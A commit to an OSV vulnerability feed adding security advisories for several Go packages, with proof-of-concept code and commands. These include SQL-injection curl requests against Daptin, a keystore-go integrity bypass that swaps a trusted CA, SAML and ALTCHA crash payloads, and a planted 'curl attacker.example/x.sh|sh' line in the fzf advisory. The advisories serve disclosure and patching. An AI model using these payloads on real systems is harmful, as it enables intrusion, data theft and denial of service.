vuln-osv update 2026-11-20T01:02:58Z
This commit is contained in:
1 parent
5f02ef1ec4
commit
175046f013
113 files changed
+144
-46
No files matched your search
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-5hj8-q7fv-qrj6","published":"2026-11-19T20:49:36Z","modified":"2026-11-19T21:00:03.957442544Z","aliases":["CVE-2026-128073"],"summary":"gosaml2: Unauthenticated panic decrypting an EncryptedAssertion with a short or empty CipherValue","details":"### Summary\n\nAn attacker who can supply a crafted SAML Response for parsing can crash a `gosaml2` service provider by sending an `EncryptedAssertion` with AES-GCM encryption metadata and a `CipherValue` shorter than the GCM nonce size (12 bytes). The library panics with `slice bounds out of range` before any validation completes.\n\nThis is a **distinct issue from [GHSA-hwqm-qvj9-4jr2](https://github.com/russellhaering/gosaml2/security/advisories/GHSA-hwqm-qvj9-4jr2)**, which addressed panics in the AES-CBC decryption path (commit [`3418f9ae09063ff8df0ce1bd93f24e538e614def`](https://github.com/russellhaering/gosaml2/commit/3418f9ae09063ff8df0ce1bd93f24e538e614def), included in `v0.10.0`). That fix added a block-size check for CBC but left the AES-GCM path completely unprotected.\n\n### Details\n\n`ValidateEncodedResponse()` decrypts `EncryptedAssertion` nodes before signature or content validation completes. There are two call sites:\n\n1. **Signed Response branch** -- [`decode_response.go#L341`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/decode_response.go#L341)\n2. **Unsigned Response branch** -- [`decode_response.go#L388`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/decode_response.go#L388)\n\nBoth call `decryptAssertions()` ([`decode_response.go#L150-L200`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/decode_response.go#L150-L200)), which calls `EncryptedAssertion.DecryptBytes()` at [`decode_response.go#L176`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/decode_response.go#L176).\n\nInside `DecryptBytes()` ([`types/encrypted_assertion.go#L34-L92`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/types/encrypted_assertion.go#L34-L92)), the AES-GCM branch ([line 53, `case MethodAES128GCM, MethodAES192GCM, MethodAES256GCM:`](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/types/encrypted_assertion.go#L53)) slices the decoded ciphertext without checking its length at [line 59](https://github.com/russellhaering/gosaml2/blob/636e7dda202a4d669644e72404a82616ffcbe004/types/encrypted_assertion.go#L59):\n\n```go\nnonce, data := data[:c.NonceSize()], data[c.NonceSize():]\n```\n\nIf `CipherValue` decodes to fewer than 12 bytes (GCM nonce size), Go panics with `slice bounds out of range`. All three GCM key sizes (AES-128-GCM, AES-192-GCM, AES-256-GCM) share the same vulnerable branch.\n\n**Comparison with the patched CBC path:** The CBC branch (lines 65-88 of the same file) correctly checks `len(data) % k.BlockSize() != 0` before slicing -- this was the fix for GHSA-hwqm-qvj9-4jr2. The GCM branch has no equivalent guard.\n\nThe attacker only needs the SP's public certificate (typically available in SAML metadata) to wrap a symmetric key via RSA-OAEP. The `CipherValue` for the assertion body can be left empty. No valid signature is required.\n\n### PoC\n\nTest environment:\n- Apple M4 (arm64)\n- Go 1.26.1\n- `gosaml2` v0.11.0 (commit `636e7dda202a4d669644e72404a82616ffcbe004`)\n\nSelf-contained reproduction:\n\n```go\npackage main\n\nimport (\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/sha1\"\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"os\"\n\t\"time\"\n\n\tsaml2 \"github.com/russellhaering/gosaml2\"\n\tdsig \"github.com/russellhaering/goxmldsig\"\n)\n\nfunc main() {\n\t// Generate a throwaway SP key pair.\n\tkey, _ := rsa.GenerateKey(rand.Reader, 2048)\n\ttmpl := &x509.Certificate{\n\t\tSerialNumber: big.NewInt(1),\n\t\tSubject: pkix.Name{CommonName: \"sp.example\"},\n\t\tNotBefore: time.Now().Add(-time.Hour),\n\t\tNotAfter: time.Now().Add(time.Hour),\n\t}\n\tcertDER, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key)\n\tcert := tls.Certificate{\n\t\tCertificate: [][]byte{certDER},\n\t\tPrivateKey: key,\n\t}\n\n\t// Wrap an attacker-chosen symmetric key with the SP's public cert.\n\tsymKey := make([]byte, 16)\n\twrappedKey, _ := rsa.EncryptOAEP(sha1.New(), rand.Reader, &key.PublicKey, symKey, nil)\n\n\tresponseXML := fmt.Sprintf(`<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<saml2p:Response xmlns:saml2p=\"urn:oasis:names:tc:SAML:2.0:protocol\"\n xmlns:saml2=\"urn:oasis:names:tc:SAML:2.0:assertion\"\n Version=\"2.0\" ID=\"_id\" IssueInstant=\"2026-03-19T00:00:00Z\">\n <saml2:Issuer>issuer.example</saml2:Issuer>\n <saml2p:Status>\n <saml2p:StatusCode Value=\"urn:oasis:names:tc:SAML:2.0:status:Success\"/>\n </saml2p:Status>\n <saml2:EncryptedAssertion>\n <xenc:EncLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-7hvw-3c2q-45qg","published":"2026-11-20T00:20:52Z","modified":"2026-11-20T00:30:07.162931492Z","aliases":["CVE-2026-103025"],"summary":"bep/imagemeta: Unbounded memory allocation decoding PNG `zTXt` \"Raw profile type iptc\" chunks","details":"A crafted PNG can make `imagemeta.Decode` allocate memory far in excess of the input file's size, leading to memory exhaustion. Two separate paths in the `zTXt` \"Raw profile type iptc\" branch are affected: the declared chunk length drives an allocation directly, and the embedded zlib stream is decompressed without an output bound. A 42-byte file allocated 256 MB, and a 127 KB file allocated 460 MB.\n\n### Impact\n\nDenial of service by memory exhaustion against any application that decodes untrusted PNG images with this library. The decompression bomb is the more reliable vector, since it produces genuinely resident memory; the effect of the oversized `make` depends on the platform's overcommit behavior and any configured `GOMEMLIMIT` or cgroup limit.\n\n### Patches\n\nFixed in v0.17.3. \n\n### Workarounds\n\nReject or bound PNG input size before calling `Decode`, or clear `IPTC` from `Options.Sources` if IPTC metadata is not required.\n\n### Credits\n\nReported by Arpit Jain ([@arpitjain099](https://github.com/arpitjain099)).","affected":[{"package":{"name":"github.com/bep/imagemeta","ecosystem":"Go","purl":"pkg:golang/github.com/bep/imagemeta"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.17.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7hvw-3c2q-45qg/GHSA-7hvw-3c2q-45qg.json"}}],"references":[{"type":"WEB","url":"https://github.com/bep/imagemeta/security/advisories/GHSA-7hvw-3c2q-45qg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103025"},{"type":"WEB","url":"https://github.com/bep/imagemeta/pull/69"},{"type":"WEB","url":"https://github.com/bep/imagemeta/commit/2289fdf83fcd238d86f72e65c588da687c998437"},{"type":"PACKAGE","url":"https://github.com/bep/imagemeta"},{"type":"WEB","url":"https://github.com/bep/imagemeta/releases/tag/v0.17.3"}],"database_specific":{"cwe_ids":["CWE-409","CWE-789"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:20:52Z","nvd_published_at":"2026-11-19T20:17:12Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-7qmq-8cc4-hxwg","published":"2026-11-20T00:04:27Z","modified":"2026-11-20T00:15:06.475980119Z","aliases":["BIT-nats-2026-58209","CVE-2026-58209"],"summary":"NATS Server MQTT retained messages and QoS replay bypass subscription deny rules","details":"### Background\n\nNATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT and edge computing.\n\nThe NATS Server MQTT support includes retained messages and QoS1+ durable delivery. NATS subscription permissions can allow broad wildcard subscriptions while denying more sensitive subjects.\n\n### Problem Description\n\nMQTT retained message delivery and QoS1+ durable replay could deliver messages whose original topics matched a subscriber's configured subscribe deny rules.\n\nNormal live delivery applied the delivery-time deny check. These MQTT delivery paths did not consistently recheck the concrete original topic before sending the MQTT `PUBLISH` to the subscriber.\n\nThe issue affects MQTT subscribers with broad wildcard subscribe permissions where more specific topics are denied. Normal live delivery can be blocked while retained or replayed delivery still sends the denied topic.\n\n### Affected Versions\n\nVersions v2.14.2, v2.12.11 and below are vulnerable. The issue is fixed in v2.14.3 and v2.12.12.\n\n### Workarounds\n\nNo known workaround for deployments that require MQTT. Upgrade to a fixed release. Deployments not using MQTT are not affected.\n\n### References\n\n * GHSA advisory: <https://github.com/nats-io/nats-server/security/advisories/GHSA-7qmq-8cc4-hxwg>\n * Credit: Asritha Bodepudi, Trail of Bits","affected":[{"package":{"name":"github.com/nats-io/nats-server/v2","ecosystem":"Go","purl":"pkg:golang/github.com/nats-io/nats-server/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.12.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7qmq-8cc4-hxwg/GHSA-7qmq-8cc4-hxwg.json"}},{"package":{"name":"github.com/nats-io/nats-server/v2","ecosystem":"Go","purl":"pkg:golang/github.com/nats-io/nats-server/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.14.0-RC.1"},{"fixed":"2.14.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7qmq-8cc4-hxwg/GHSA-7qmq-8cc4-hxwg.json"}}],"references":[{"type":"WEB","url":"https://github.com/nats-io/nats-server/security/advisories/GHSA-7qmq-8cc4-hxwg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58209"},{"type":"WEB","url":"https://github.com/nats-io/nats-server/commit/181b1f51f40b9954c57e9d478e051fb257679356"},{"type":"WEB","url":"https://github.com/nats-io/nats-server/commit/1c429b6fdc5afd4188cc5faf1127f6334896cd87"},{"type":"PACKAGE","url":"https://github.com/nats-io/nats-server"},{"type":"WEB","url":"https://github.com/nats-io/nats-server/releases/tag/v2.12.12"},{"type":"WEB","url":"https://github.com/nats-io/nats-server/releases/tag/v2.14.3"}],"database_specific":{"cwe_ids":["CWE-863"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:04:27Z","nvd_published_at":"2026-07-08T20:16:53Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-7rj6-7pqx-v7rm","published":"2026-11-19T22:43:12Z","modified":"2026-11-19T23:00:36.647073740Z","aliases":["CVE-2026-121717"],"summary":"fzf: Predictable FIFO path in zsh completion allows local symlink attack / arbitrary file overwrite as the victim user (_fzf_feed_fifo)","details":"### Summary\n\n`shell/completion.zsh` feeds every trigger-driven zsh completion through a FIFO at a predictable, PID-based path in shared `/tmp` (`fzf-complete-fifo-$$`), without checking the failure of `rm -f`/`mkfifo`. On a multi-user host, another local user can pre-create that path as a symlink to a victim-writable file (e.g. `~/.bashrc`), causing the victim's own completion to overwrite it with the completion stream — with attacker-influenced content (e.g. via process names in `ps` output), escalating to code execution at the victim's next login. A pre-created plain FIFO instead leaks/blocks on the completion stream.\n\n### Reporter / Credits:\nSai Sreewathsa Kovalluri, Shon Babu and Kannan K (Researchers), Innspark Solutions https://innspark.in/\n\n### Details\n\n`shell/completion.zsh` (tag 0.74.4, commit a140afeb):\n\n- line ~246: `fifo=\"${TMPDIR:-/tmp}/fzf-complete-fifo-$$\"` — predictable name; shell PIDs are low/guessable and a wide range can be pre-created.\n- lines 216-220, verbatim:\n\n```zsh\n_fzf_feed_fifo() {\n command rm -f \"$1\" # fails (EPERM) on an attacker-owned entry in sticky /tmp — error ignored\n mkfifo \"$1\" # fails (EEXIST) — exit status unchecked\n cat <&0 > \"$1\" &| # follows the attacker symlink / blocks on the attacker FIFO\n}\n```\n\nAttack modes (no race required):\n\n1. **File clobber → code execution:** `> \"$1\"` follows a pre-created symlink, truncating/overwriting a victim-writable file with the completion input stream using the victim's privileges. For kill-completion the stream includes attacker-influenced process names, so planted lines can land in the victim's startup file.\n2. **Information leak / hang:** a pre-created plain FIFO makes the victim's `cat` block until the attacker reads the stream (full `ps` output, host lists, variable names).\n\n### PoC\n\nMechanism verified with the function extracted byte-for-byte from `shell/completion.zsh` (only `&|` → `&`, a syntax port irrelevant to the flaw), reproducing the cross-user `/tmp` precondition via an entry the victim cannot remove (identical to sticky `/tmp` semantics for an attacker-owned entry):\n\n```console\nrm: cannot remove '.../fzf-complete-fifo-4242': Permission denied\nmkfifo: cannot create fifo '.../fzf-complete-fifo-4242': File exists\n\n=== victim file AFTER the victim's completion ran ===\nevil-process; curl attacker.example/x.sh|sh; :\nother-stream-data\n```\n\nThe file was overwritten despite both `rm` and `mkfifo` failing. A self-contained reproducer was provided by email (poc-t04-fifo-clobber.sh).\n\n### Impact\n\nLocal (multi-user host; CWE-377 / CWE-59). Any victim running zsh with fzf trigger completion (`kill/ssh/telnet/export/unset/unalias **<TAB>`) on a host shared with an attacker risks silent overwrite of arbitrary user files (→ code execution at next login) or disclosure of the completion stream. Suggested fix: create the FIFO inside a private `mktemp -d` directory (mode 700) and check `mkfifo`'s exit status, removing the rm-then-mkfifo TOCTOU entirely.\n\nReported privately to the maintainer by email; fix prepared for the next release.\n\n### Exploitability in practice\n\nOn a default modern host the file-overwrite variant is blocked by `fs.protected_symlinks` (a process will not follow a symlink in a sticky, world-writable directory owned by another user), and protected_fifos/protected_regular further limit the FIFO variants. Exploitation therefore depends on these kernel protections being disabled. The information exposed is a bounded completion candidate list (process names, hostnames, variable names) rather than arbitrary data, and the \"code execution at next login\" outcome is a downstream chain requiring the victim to both have the clobbered file sourced and log in again.","affected":[{"package":{"name":"github.com/junegunn/fzf","ecosystem":"Go","purl":"pkg:golang/github.com/junegunn/fzf"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.74.5"}]}],"database_specific":{"last_known_affected_version_range":"<= 0.74.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7rj6-7pqx-v7rm/GHSA-7rj6-7pqx-v7rm.json"}}],"references":[{"type":"WEB","url":"https://github.com/junegunn/fzf/security/advisories/GHSA-7rj6-7pqx-v7rm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-121717"},{"type":"WEB","url":"https://github.com/junegunn/fzf/commit/cbc11e4d9591e1fa47fb9d8711b18b74d625746e"},{"type":"PACKAGE","url":"https://github.com/junegunn/fzf"},{"type":"WEB","url":"https://github.com/junegunn/fzf/releases/tag/v0.74.5"}],"database_specific":{"cwe_idLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-gfwj-45pc-w6r5","published":"2026-11-20T00:21:19Z","modified":"2026-11-20T00:30:06.860999124Z","aliases":["CVE-2026-103033"],"summary":"ALTCHA: Nil-map panic (pre-verification DoS) in v1 parseServerSignature on malformed VerificationData","details":"### Summary\n\n`parseServerSignature` in the v1 module only initializes `ServerSignatureVerificationData.Extra` inside the `if err == nil` branch after `url.ParseQuery(parsedPayload.VerificationData)`. Go's `url.ParseQuery` returns the successfully-parsed pairs together with a non-nil error when the query string contains a malformed percent-escape. A subsequent loop unconditionally writes unknown keys into `Extra`, regardless of `err`, causing a nil-map write panic (assignment to entry in nil map) whenever an attacker supplies a `VerificationData` string with a bad %-escape (e.g. `x=1&%zz=2`).\n\nThis is reachable pre-authentication: `parseServerSignature` is called by the exported `VerifyServerSignature` / `VerifyServerSignatureSafe` before any HMAC/signature check, and `VerificationData` is attacker-controlled data forwarded by the client as part of the ALTCHA server-signature payload.\n\n### Impact\n\nAny application calling `VerifyServerSignature` or `VerifyServerSignatureSafe` on unauthenticated input can be made to panic by submitting a crafted payload. Under standard net/http, the per-request goroutine panic is recovered and the request aborts (a log-flood / per-request DoS); it escalates to a full process crash if verification runs in an application-spawned goroutine or a non-recovering framework.\n\n### Proof Of Concept\n\n```go\npayload, _ := json.Marshal(ServerSignaturePayload{\n Algorithm: SHA256,\n VerificationData: \"x=1&%zz=2\",\n Signature: \"irrelevant\",\n Verified: true,\n})\nencoded := base64.StdEncoding.EncodeToString(payload)\nVerifyServerSignature(encoded, \"some-secret\") // panics: assignment to entry in nil map\n\n```\n\n### Patch\n\n`Extra` is now initialized unconditionally before the `url.ParseQuery` error check, so it's always safe to write into regardless of parse errors.\n\n### Workarounds\n\nRecover from panics around calls to `VerifyServerSignature`/`VerifyServerSignatureSafe`, or reject/sanitize `VerificationData` before calling them, until upgrading.\n\n### Patch\n\nPatch commit: 2c4fc27\n\n### Credit\n\nReported by Arpit Jain (@arpitjain099) via private disclosure.","affected":[{"package":{"name":"github.com/altcha-org/altcha-lib-go/v2","ecosystem":"Go","purl":"pkg:golang/github.com/altcha-org/altcha-lib-go/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0"},{"fixed":"2.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-gfwj-45pc-w6r5/GHSA-gfwj-45pc-w6r5.json"}}],"references":[{"type":"WEB","url":"https://github.com/altcha-org/altcha-lib-go/security/advisories/GHSA-gfwj-45pc-w6r5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103033"},{"type":"WEB","url":"https://github.com/altcha-org/altcha-lib-go/commit/2c4fc27a7b2d5b89f7175676445efcacc564c27c"},{"type":"PACKAGE","url":"https://github.com/altcha-org/altcha-lib-go"},{"type":"WEB","url":"https://github.com/altcha-org/altcha-lib-go/releases/tag/v2.1.0"}],"database_specific":{"cwe_ids":["CWE-248","CWE-476"],"github_reviewed":true,"github_reviewed_at":"2026-11-20T00:21:19Z","nvd_published_at":"2026-11-19T21:17:40Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}]}
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-hq2p-f2vj-v3cm","published":"2026-11-20T00:13:19Z","modified":"2026-11-20T00:30:07.873840943Z","aliases":["CVE-2026-77367"],"summary":"Daptin: Unauthenticated SQL Injection via the `sort` query parameter on every entity list endpoint","details":"### Summary\n\nAn unauthenticated attacker can inject arbitrary SQL through the `sort` query parameter accepted by\nDaptin's generic entity list endpoint (`GET /api/<entity>`), which every table in a Daptin instance\nexposes. The parameter is concatenated into raw SQL identifiers with no validation that the\nreferenced column exists, unlike a sibling code path in the same file that received exactly this\nvalidation as the fix for a previously published advisory\n([GHSA-rw2c-8rfq-gwfv](https://github.com/daptin/daptin/security/advisories/GHSA-rw2c-8rfq-gwfv)).\nImpact ranges from unauthenticated denial of service (a single crafted request 500s the query) to\nblind/error-based extraction of data from tables the requester has no permission to read.\n\n### Details\n\n`PaginatedFindAllWithoutFilters` in `server/resource/resource_findallpaginated.go` reads the `sort`\nquery parameter directly from the request with no validation:\n\n```go\n// server/resource/resource_findallpaginated.go:300-302\nvar sortOrder []string\nif len(req.QueryParams[\"sort\"]) > 0 {\n sortOrder = req.QueryParams[\"sort\"]\n```\n\nEach entry is then concatenated with the table name and passed to `goqu.I()` (goqu's raw SQL\n*identifier* constructor) in two separate places, with no check that the referenced column exists\non the table:\n\n```go\n// server/resource/resource_findallpaginated.go:435-449 (SELECT column list)\nfor _, sort := range sortOrder {\n ...\n if strings.Index(sort, \"(\") == -1 {\n sort = prefix + sort\n }\n idQueryCols = append(idQueryCols, goqu.I(sort).As(strings.ReplaceAll(sort, \".\", \"_\")))\n}\n```\n\n```go\n// server/resource/resource_findallpaginated.go:916-943 (ORDER BY clause)\nfor _, so := range sortOrder {\n ...\n orders = append(orders, goqu.I(ord).Asc())\n}\n```\n\n`goqu.I()` renders its argument by wrapping it in the dialect's quote character (a backtick, in\nthis build's configured dialect) **without escaping an embedded quote character of the same kind**.\nA backtick supplied in `sort` closes the identifier early, and the remainder of the attacker string\nis parsed as raw SQL grammar rather than treated as inert column-name text.\n\nThis is the same bug class as GHSA-rw2c-8rfq-gwfv (\"SQL injection via unvalidated `goqu.L()` calls\nin aggregate API\", CWE-89, fixed in v0.11.4). That fix added an allow-list check a few hundred lines\nlater in the same file, in the fuzzy-search code path:\n\n```go\n// server/resource/resource_findallpaginated.go:1491-1505\n// Validate each column against table schema (prevents SQL injection via goqu.L)\ntableInfo := dbResource.tableInfo\nvar validColumns []string\nfor _, col := range columns {\n if _, ok := tableInfo.GetColumnByName(col); ok {\n validColumns = append(validColumns, col)\n } else {\n log.Warnf(...)\n }\n}\n```\n\nThe identical validation was never applied to the base `sort` parameter handling earlier in the\nsame file. Unlike fuzzy search (which requires an explicit `filter` operator to reach), plain `sort`\nis processed on every list request to every entity, authenticated or not.\n\n### PoC\n\nBuild current HEAD and run it with a fresh SQLite database and no custom schema:\n\n```bash\ngo build -buildvcs=false -o daptin_bin .\n./daptin_bin\n```\n\nNo account needs to exist. `world` (and most default tables) are guest-readable, so all requests\nbelow are sent with **no `Authorization` header at all**:\n\n```bash\n# 1) Reflection -- proves raw, unsanitized concatenation\ncurl -s -G \"http://localhost:6336/api/world\" --data-urlencode 'sort=email\" --'\n# => {\"errors\":[{\"status\":\"500\",\"title\":\"no such column: world.email\\\" --\"}]}\n\n# Server log shows the exact constructed query:\n# SELECT distinct(user_account.id), `user_account`.`email\" --` AS `user_account_email\" --`\n# FROM `user_account` LEFT JOIN ... WHERE (...) ORDER BY `user_account`.`email\" --` ASC LIMIT ? == [10]\n\n# 2) Backtick breakout -- proves the payload is parsed as SQL grammar, not literal text\ncurl -s -G \"http://localhost:6336/api/user_account\" \\\n --data-urlencode 'sort=id`,(select password from user_account limit 1)'\n# => {\"errors\":[{\"status\":\"500\",\"title\":\"near \\\"``\\\": syntax error\"}]}\n\n# 3) Zero credentials, reliable across repeated attempts\nfor i in 1 2 3; do\n curl -s -o /dev/null -w \"%{http_code}\\n\" -G \"http://localhost:6336/api/world\" \\\n --data-urlencode 'sort=`x'\ndone\n# => 500 / 500 / 500\n```","affected":[{"package":{"name":"github.com/daptin/daptin","ecosystem":"Go","purl":"pkg:golang/github.com/daptin/daptin"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.12.30"}]}],"databasLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-j282-pjg5-j643","published":"2026-11-19T20:35:35Z","modified":"2026-11-19T20:45:04.178017324Z","aliases":["CVE-2026-76101"],"summary":"keystore-go: Keystore integrity and password verification bypass via stripped trailing digest in Decode()","details":"### Summary\n`keystore.Decode()` fails to check the error returned when reading the trailing SHA-1 integrity digest of a JKS keystore. If an attacker removes the final 20 bytes from a `.jks` file, the digest read returns an empty slice and the byte-comparison loop never executes, so `Decode()` returns the parsed keystore with `err == nil`. This defeats both tamper detection and — for certificate-only truststores — the password check itself, allowing an attacker with write access to a keystore file (but without knowledge of the keystore password) to silently inject or replace trusted CA certificates.\n\n### Details\n**Affected versions:** `github.com/pavel-v-chernykh/keystore-go` ≤ `v2.1.0+incompatible` (the final release on this module path). v3 and v4 releases are not impacted.\n\nIn `decoder.go`, function `Decode`, lines 264-272:\n\n```go\ncomputedDigest := ksd.md.Sum(nil)\nactualDigest, err := ksd.readBytes(uint32(ksd.md.Size()))\nfor i := 0; i < len(actualDigest); i++ {\n if actualDigest[i] != computedDigest[i] {\n return nil, ErrInvalidDigest\n }\n}\n\nreturn keyStore, nil\n```\n\nTwo defects combine here:\n\n1. The `err` returned by `ksd.readBytes(20)` on line 265 is assigned but never inspected.\n2. The comparison loop on line 266 is bounded by `len(actualDigest)` rather than `len(computedDigest)`.\n\n`readBytes` (`decoder.go` lines 75-94) reads the requested bytes via `io.ReadFull`; on EOF/short read it returns `(nil, ErrIo)`:\n\n```go\n_, err := io.ReadFull(ksd.r, ksd.b[:blockSize])\nif err != nil {\n return result, ErrIo\n}\n```\n\nWhen the trailing 20-byte digest is absent from the input stream, `actualDigest` is therefore `nil`, `len(actualDigest) == 0`, the `for` loop body never executes, and `Decode()` falls through to `return keyStore, nil`.\n\nThe JKS format's only integrity guarantee is this trailing `SHA1(passwordBytes || \"Mighty Aphrodite\" || body)` digest. For truststores containing only `TrustedCertificateEntry` values it is also the *only* place the password is verified. Consequently:\n\n- An attacker who can modify a `.jks` truststore on disk — but does **not** know the keystore password — can replace or add trusted CA certificates, drop the last 20 bytes of the file, and the consuming Go process will load the forged truststore as valid.\n- After the digest is stripped, `Decode()` accepts **any** password, so operators who believe the password gates integrity receive no error even when the wrong password is supplied.\n\nThe reference Java `JavaKeyStore` implementation reads the digest with `DataInputStream.readFully` and throws on short read; this Go port diverges from that behaviour.\n\n### PoC\n```\ngo mod init poc\ngo get github.com/pavel-v-chernykh/keystore-go@v2.1.0+incompatible\ngo run .\n```\n\n```go\npackage main\n\nimport (\n \"bytes\"\n \"fmt\"\n \"os\"\n\n keystore \"github.com/pavel-v-chernykh/keystore-go\"\n)\n\nfunc main() {\n originalCert := []byte(\"ORIGINAL-TRUSTED-CA-CERTIFICATE\")\n evilCert := []byte(\"EVIL-ATTACKER-CA-CERTIFICATE!!!\") // same length\n\n ks := keystore.KeyStore{\n \"trusted-ca\": &keystore.TrustedCertificateEntry{\n Certificate: keystore.Certificate{\n Type: \"X509\",\n Content: originalCert,\n },\n },\n }\n\n var buf bytes.Buffer\n if err := keystore.Encode(&buf, ks, []byte(\"correct-password\")); err != nil {\n panic(err)\n }\n legit := buf.Bytes()\n fmt.Printf(\"[*] Legitimate keystore: %d bytes (last 20 = SHA-1 digest)\\n\", len(legit))\n\n // Sanity: untampered keystore with WRONG password is rejected.\n _, err := keystore.Decode(bytes.NewReader(legit), []byte(\"wrong-password\"))\n fmt.Printf(\"[*] Decode(legit, wrong-password) -> err=%v (expected ErrInvalidDigest)\\n\", err)\n\n // Attacker: tamper with the certificate, then strip the 20-byte digest.\n tampered := bytes.Replace(append([]byte(nil), legit...), originalCert, evilCert, 1)\n tampered = tampered[:len(tampered)-20] // remove trailing SHA-1 digest entirely\n\n // 1) Tampered keystore + CORRECT password: integrity check should fail.\n out, err := keystore.Decode(bytes.NewReader(tampered), []byte(\"correct-password\"))\n if err == nil {\n entry := out[\"trusted-ca\"].(*keystore.TrustedCertificateEntry)\n fmt.Printf(\"\\n[BYPASS] Tampered keystore accepted with correct password.\\n\")\n fmt.Printf(\" Trusted cert Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-m932-63jc-4jqq","published":"2026-11-19T22:48:33Z","modified":"2026-11-19T23:00:36.633906692Z","aliases":["CVE-2026-130007"],"summary":"k8s-mcp-server: Missing authentication on default SSE/HTTP transport allows unauthenticated Kubernetes tool execution","details":"## Summary\nWhen k8s-mcp-server runs in its default SSE transport mode, the MCP `tools/call`\nendpoint is dispatched with no authentication, session token, or Origin check.\nAny client that can reach the listening port can enumerate and invoke the\nserver's Kubernetes tools (including destructive/write tools) without credentials,\nexecuting with the server's configured cluster privileges.\n\n## Affected\nCommit be87a6dd72bb6ec1d4886b8548843b99a4638b12 (Merge PR #130)\nMCP library: github.com/mark3labs/mcp-go v0.57.0\nDefault mode: sse (SERVER_MODE default), default port 8080, bind 0.0.0.0\n\n## Root cause (static trace: handleSSE -> handleMessage -> tools/call)\n- main.go L129: `server.NewSSEServer(s)` is created with no auth option and no\n contextFunc; L130 `sse.Start(\":\"+port)` binds all interfaces (0.0.0.0).\n- mcp-go sse.go handleSSE (GET /sse): no auth header check; the server mints a\n sessionId for any caller. The sessionId is a correlation value, not a credential.\n- handleMessage (POST /message): the only gates are method==POST and a loadable\n sessionId. No Authorization/Bearer/token/Origin/CSRF check before\n `s.server.HandleMessage(ctx, rawMessage)` dispatches to the tools/call handler.\n- Only `Access-Control-Allow-Origin: *` is present (CORS relaxation, not auth).\nWrite tools (Create/Delete/RolloutRestart, Helm Install/Upgrade/Uninstall/Rollback)\nare all registered unless `-read-only` is set (default readOnly=false).\n\n## Runtime reproduction (no auth headers on any request)\nStarted: `k8s-mcp-server -mode sse -port 8080` with a dummy non-routable\nKUBERNETES_SERVER=https://127.0.0.1:1 (no real cluster touched).\n\n GET /sse -> HTTP 200; server mints /message?sessionId=93b3...\n POST /message initialize -> HTTP 202; result returned over SSE\n POST /message tools/list -> HTTP 202; FULL tool list returned (incl. destructive)\n POST /message tools/call getAPIResources -> HTTP 202; handler EXECUTED:\n error -32603 \"... Get https://127.0.0.1:1/api...: dial tcp 127.0.0.1:1: connect\"\n\nThe tools/call response is NOT HTTP 401/403 but an in-handler cluster-connection\nerror, proving the RPC passed any authorization gate and reached the\ngetAPIResources handler. With a valid kubeconfig, the same path returns real\ncluster data. `ss -ltnp` confirms LISTEN *:8080 (all interfaces, externally exposed).\n\n## Impact\nAn unauthenticated attacker with network reach to the port can enumerate tools and\ninvoke Kubernetes operations with the server's privileges — cluster read and,\nwith default readOnly=false, state-changing operations (Create/Delete/Helm).\nCWE-306 (Missing Authentication for Critical Function).\n\n## Why this is a defect, 